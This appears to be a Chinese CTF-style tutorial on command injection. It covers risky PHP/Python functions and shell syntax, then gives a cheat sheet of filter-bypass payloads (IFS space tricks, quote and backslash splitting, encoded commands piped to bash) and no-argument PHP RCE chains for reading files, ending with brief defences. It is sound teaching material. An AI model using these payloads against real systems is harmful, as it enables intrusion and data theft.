命令注入入门
命令注入漏洞介绍
Command Injection,即命令注入攻击
是指由于嵌入式应用程序或者 web 应用程序对用户提交的数据过滤不严格,导致黑客可以通
过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系
统命令实施攻击,非法获取数据或者网络资源等。
其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。 当应用需要调用一些外
部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 system,
exec,shell_exec 等函数,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命
令到正常命令中,造成命令执行攻击。
命令注入是一种常见的漏洞形态。Web 应用在调用这些函数执行系统命令的时候,在没有
做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,
就会造成命令注(命令执行)的漏洞。一旦存在命令注入漏洞,攻击者就可以在目标系统
执行任意命令。
命令执行继承 Web Server 用户的权限,一般都有权限写文件,写马、查看隐私信息、窃
取源码,甚至可以反弹shell,危害十分大。
命令注入的形成需要如下三个条件:
- 使用了内部调用shell的函数:system(),exec()等
- 将外界传入的参数没有足够的过滤,直接传递给内部调用shell的函数
- 参数中 shell 的元字符没有被转义
Web 程序过滤不严谨,导致用户可以将命令注入并执行。
以下是一些常见的容易出现该问题的函数
• PHP 当中的高危函数:system()、exec()、shell_exec()、passthru()、pctnl_exec()、
popen()、proc_open() 等函数(注:反引号是 shell_exec() 的别名)
• Python 当中的高危函数:os.system()、os.popen()、os.execv()、os.execl()、
commands.getstatusoutput()、subprocess.Popen()、subprocess.call()、
subprocess.run() 等
代码注入与命令注入类似,也是程序过滤不严谨,过于相信用户输入,导致用户可以将代码
注入并执行。但是与命令注入不同的是,一个是执行系统命令,一个是执行程序代码。
• PHP 中的高危函数:eval()、assert()、preg_replace()、call_user_func() 等等
• Python 中的高危函数:eval()、exec() 等等
跟命令注入一样,都能造成极大的危害
Linux命令基础
; (分号)
1 | 格式:cmd1;cmd2;cmd3 |
cmd1将首先运行,不管cmd1运行成功还是出现错误,cmd2都会在它之后运行,当cmd2
命令完成时,cmd3将会运行。
| (管道符)
1 | 格式:cmd1|cmd2 |
连结上个指令的标准输出,做为下个指令的标准输入。前一个命令的结果作为后一个命令
的参数。
如echo “1”|base64,结果是1的base64编码结果MQo=
& (and符)
1 | 格式:cmd1& |
用户有时候执行命令要花很长时间,可能会影响做其他事情。最好的方法是将它放在后台
执行。后台运行的程序在用户注销后系统还可以继续执行。当要把命令放在后台执行时,
在命令的后面加上&
$ (命令提示符)
1 | 假设执行 ./test.sh a b c 这样一个命令,则可以使用下面的参数来获取一些值: |
注: $*,$@有无引号是两条命令!
Shell 在执行某个命令的时候,会返回一个返回值,该返回值保存在 Shell 变量 $? 中。
• 当 $? == 0 时,表示执行成功;当 $? == 1时,表示执行失败。
• 有时候,下一条命令依赖前一条命令是否执行成功。如:在成功地执行一条命令之后再执
行另一条命令,或者在一条命令执行失败后再执行另一条命令等。
• Shell 提供了 && 和 || 来实现命令执行控制的功能, Shell 将根据 && 或 || 前面命令的返
回值来控制其后面命令的执行。
&&
1 | 格式:cmd1 && cmd2 && cmd3 |
有时候希望确保 Linux 命令中,只有在前一个命令成功结束时,下一个命令才会运行。这
时候就需要逻辑和运算符 && 出现的地方。只有在 && 左边的命令返回真(命令返回值 $?
== 0), && 右边的命令才会被执行;只要有一个命令返回假($? == 1),后面的命令
就不会被执行。
||
1 | 格式:cmd1 || cmd2 || cmd3 |
命令之间使用 || 连接,实现逻辑或的功能。只有在 || 左边的命令返回假(命令返回值 $?
== 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻
辑或操作。只要有一个命令返回真($? == 0),后面的命令就不会被执行
` (反引号/重音符)
首先这个符号是英文状态下的1左边那个键`
1 | 格式:cmd1 `cmd2` |
命令替代,大部分 Unix Shell 以及编程语言如 Perl、PHP 以及 Ruby 等都以成对的重音
符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。
如格式,则命令cmd1调用另一个命令cmd2的执行结果
如
[] (中括号/方括号)
格式:[ condition ]
bash 的内部命令,[ 和 test 是等同的。常出现在流程控制中,扮演括住判断式的作用。
if/test 结构中的左中括号是调用 test 的命令标识,右中括号是关闭条件判断的。
例如:
[ $var -eq 0 ] # 当 $var 等于 0 时,返回真
[ $var -ne 0 ] # 当 $var 不等于 0 时,返回真
(-eq是等于,-ne是不等于)
而这个符号在正则里,则担任类似“集合”或者“范围”的角色(过段时间就复习正则)
{}(大括号/花括号)
大括号拓展
(通配(globbing))将对大括号中的文件名做扩展。在大括号中,不允许有空白,
除非这个空白被引用或转义。
• 第一种:对大括号中的以逗号分割的文件列表进行拓展。
• 第二种:对大括号中以点点(..)分割的顺序文件列表起拓展作用
如 cat ./fl{a,b,c}g.txt可以获取到flag.txt,flbg.txt,flcg.txt
而cat ./fl{a..c}g.txt也可以获取到flag.txt,flbg.txt,flcg.txt
字符串提取和替换
• ${var:num} :从 var 变量中提取第 num 个字符到末尾的所有字符。若num为正数,
从左边0处开始;若num为负数,从右边开始提取字串,但必须使用在冒号后面加空
格或整个num加上括号。
即可以${var:4}
${var: -3}(加了空格)
或${var:(-3)}
同时也可以${var:num1:num2}:num1是位置,num2是长度。表示从$var字符串的第$num1个
位置开始提取长度为$num2的子串。不能为负数。
${var/pattern1/pattern2}表示将 var 变量字符串pattern1 替换为pattern2 。
${var//pattern1/pattern2}:将 var 变量字符串中的所有能匹配的 pattern1 替换为pattern2 。
glob模式/通配符
在编程中匹配字符最常见的工具是正则表达式,此外还有一种 glob 模式经常用于匹配文件路径,glob 模式在某些方面与正则表达式功能相同,但是他们各自有着不同的语法和约定
shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!
glob* 模式(globbing)也被称之为 shell 通配符,是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,下面是一些常见的通配符
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
P | 匹配str1或者str2或更多字符串,也可以是集合 |
IFS | 由 |
CR | 由 |
! | 执行history中的命令 |
当你在shell(控制台、终端随便叫)中输入并执行命令时,shell会自动把你的命令记录到历史列表中,
一般保存在用户目录下的.bash_history文件中。默认保存1000条,当然你可以更改这个值。
这边解释一下“!”
使用history命令来显示列表,可以跟一个整数表示希望显示最后的多少条命令。如下:
$ history 10
526 ls web/
527 clear
528 ls -a
529 history 10
530 date
531 make -v
532 sudo apt-get –help
533 history 10
534 gcc -v
535 history 10
每条命令前都有一个序号标示,你可以使用下面的方法回忆出以前执行过的命令。
!n 这个n表示序号,假如你想重新执行第528条命令ls -a,那么你可以使用!528
!! 这将会重新执行上一条命令
!?String? 这个String可以随便输,Shell会从最后一条历史命令向前搜索,最先匹配的一条命令将会得到执行。
比如你输入 !?gc? 那第534条命令gcc -v就会执行。
专用字符集
在使用专属字符集的时候,字符集之外还需要用 [ ] 来包含住,否则专用字符集不会生效,例如[[:space:]]
•想要转义的时候,单引号与双引号使用方法是不同的,单引号会转义所有字符,而且单引号中间不允许再出现
单引号,双引号允许出现特定的 shell 元字符,具体字符可以自行查询
• 在使用花括号 {} 的时候,里面的单个字符串需要使用单引号或者双引号括住,否则就会视为多个的单个字符。
字符 | 意义 |
---|---|
[:alnum:] | 任意数字或者字母 |
[:alpha:] | 任意字母 |
[:space:] | 空格 |
[:lower:] | 小写字母 |
[:digit:] | 任意数字 |
[:upper:] | 任意大写字母 |
[:cntrl:] | 控制符 |
[:graph:] | 图形 |
[:print:] | 可打印字符 |
[:punct:] | 标点符号 |
[:xdigit:] | 十六进制数 |
[:blank:] | 空白字符 |
如cat ./fl[[:lower:]]g.txt
可以获取当前目录的flag.txt,flbg.txt……flzg.txt,嗯……如果有的话。
关于 (反斜杠) 的转义
• 反斜杠只有在后面跟上以下字符时才有特殊含义:‘$’、‘`’、‘“’、’/’或 换行。
• 在 Bash 中不能用 (反斜杠) 来转义单引号
命令注入漏洞常见绕过方法
过滤空格
< <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
$IFS
{cat,flag.php} //用逗号实现了空格功能,整体由大括号包裹
%20
\t
关键字过滤
变量绕过
a=l;b=s;$a$b
echo $PATH| cut -c 1 (这样能得到“/”)
反斜杠绕过
ca\t fl\ag.txt
引号绕过
cat fla”g.txt或c”a”t f”l’a’g
通配符技巧
cat fl[a]g 或 cat fla* 或 cat fla? 或 cat fla{a..g}等
编码绕过
base64
echo “Y2F0IGZsYWcudHh0”|base64 –d|bash
hex
echo “63617420666c61672e747874”|xxd –r –p|bash
oct
$(printf “\154\163”)
printf各种编码
{printf,”\x6c\x73”}|bash
• ${PS2} 对应字符 >
• ${PS4} 对应字符 +
• ${IFS} 对应 内部字段分隔符
• ${9} 对应 空字符串
无参数RCE
读文件:当前目录下
详情可以参考https://www.freesion.com/article/65661087064/
无参数,顾名思义,就是只使用函数,且函数不能带有参数。
这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等
首先要了解一些函数:
scandir() 函数返回指定目录中的文件和目录的数组。
print_r() 函数用于打印变量,以更容易理解的形式展示。
由此,print_r(scandir(‘.’));就可以查看当前目录的所有文件名
localeconv():返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
current()函数:返回数组中当前元素的值,默认值是1
因此,print_r(scandir(current(localeconv())));
即可以成功打印出当前目录下文件
或者也可以用pos代替current,因为pos是current的别名
reset()函数返回值是数组里第一个单元的值,如果数组为空返回FALSE,如果前两个被过滤了用这个也可以
此外,getcwd()可以获取绝对路径
所以我们还可以用print_r(scandir(getcwd()))
其他得到.的方法可以去看看上面贴的大佬的博客
总之直到这里,都是在执行ls的功能,下面来实现读取文件的内容
读文件的函数可以用show_source,readfile,highlight_file,file_get_contents,readgzfile等都可以
如要获取最后一个,就可以
show_source(end(scandir(current(localeconv()))));
此外,array_reverse()函数可以将数组逆序返回,所以获取最后一个文件也可以
show_source(current(array_reverse(scandir(current(localeconv())))));
然而,目前为止,我们在读文件的时候只能获取到数组的第1,2和倒数第1,2个文件,怎么去获取位于中间的文件?
我们可以使用array_rand(array_flip())函数,其中array_flip()是交换数组的键和值,array_rand()是用来随机返回一个数组,所以我们可以用:
1 | highlight_file(array_rand(array_flip(scandir(pos(localeconv()))))); |
这样只要多刷新几次,就能读取到flag.php
读文件:不在当前目录
前面都是目标文件就在当前目录下的情况,还是很友好的,如果目标文件不在当前目录下呢?
这里需要再学几个函数了
首先是dirname(),这个函数可以返回路径中的目录部分
这里注意一下,当dirname的参数是绝对路径(不包含文件名)时,返回上一层路径
但是参数是包含文件名的时候,返回的是文件当前的目录部分
因此,我们可以用下面这种构造方法来查看上一级目录的文件(即达到ls ../的目的)
1 | print_r(scandir(dirname(pos(localeconv())))) |
(其实和查看当前目录相比也就多了层dirname的套娃)
在上面情况里,我们用localeconv()构造了.,实际上我们还可以用相似的思维构造..,这样就可以在dirname()被过滤的时候来构造了
如scandir(pos(localeconv()))出现的文件数组里,第二个就是..
因此可以用下面这种方法来查看上级目录文件
1 | print_r(scandir(next(scandir(pos(localeconv()))))) |
下一个要了解的函数是chdir(),这个是用来改变当前工作目录的,相当于cd
首先按照大佬博客
所以我们只能先用chdir()切换到上级目录,再去读取文件
所以可以这么构造
1 | highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))) |
这里解释一下,chdir的返回值是布尔类型的,所以在chdir的外层还有一个dirname来获取切换后的当前目录,在scandir获取这个目录的文件,因此构造需要两个dirname
用这种if()来构造可能会更加直观一点
1 | if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd())))); |
dirname如果被过滤了可以用构造..的方法,但是要注意,在这种方法里,getcwd()和localeconv()都不能接收参数,详情可以看贴的那篇博客,用crypt()和time()来接收参数和构造
构造字符串
& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,此外还可以用++来自增
防御措施
escapeshellarg(string)将括号里的字符串增加一个单引号,同时引用或者转码任何已经存在的单引号
这个函数的作用下,可以:
确保用户只传递一个参数给命令
用户不能指定更多的参数
用户不能执行不同的命令
escapeshellcmd(string)可以把字符串内可能欺骗shell命令执行任意命令的字符进行转义,如&,;等
这个函数作用下,可以:
确保用户只执行一个命令
用户可以指定不限数量的参数
用户不能执行不同的命令
关于命令注入的盲注部分,等写到对应的题目再来整理。